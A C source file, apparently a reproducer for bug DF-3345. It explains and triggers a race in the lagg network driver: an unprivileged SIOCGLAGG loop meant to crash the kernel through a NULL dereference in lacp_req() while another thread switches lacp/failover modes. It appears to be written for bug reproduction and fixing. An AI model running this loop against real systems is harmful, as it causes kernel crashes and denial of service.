DF-3345 / laggspin.c
/* * laggspin.c - DF-3345 racer: tight unprivileged SIOCGLAGG loop. * * While a privileged thread flips SIOCSLAGG laggproto lacp<->failover, * lagg_lacp_detach() drops the lagg WLOCK mid-detach (if_lagg.c:2101) * while sc_req still points at lacp_req(). An SIOCGLAGG landing in that * window calls lacp_req() after lacp_detach() has set sc->sc_psc = NULL * (ieee8023ad_lacp.c:848) -> lsc = NULL -> * la = lsc->lsc_active_aggregator (ieee8023ad_lacp.c:607) * NULL deref. */ #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/lagg/if_lagg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *ifname = argc > 1 ? argv[1] : "lagg0"; struct lagg_reqport buf[LAGG_MAX_PORTS]; struct lagg_reqall ra; long n, i = 0; int s; if (argc > 2) n = atol(argv[2]); else n = 100000000L; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return (1); } for (i = 0; i < n; i++) { memset(&ra, 0, sizeof(ra)); memset(buf, 0, sizeof(buf)); strlcpy(ra.ra_ifname, ifname, sizeof(ra.ra_ifname)); ra.ra_size = sizeof(buf); ra.ra_port = buf; if (ioctl(s, SIOCGLAGG, &ra) != 0) continue; /* interface flipped away; keep going */ } printf("done %ld SIOCGLAGG ioctls\n", i); return (0); } |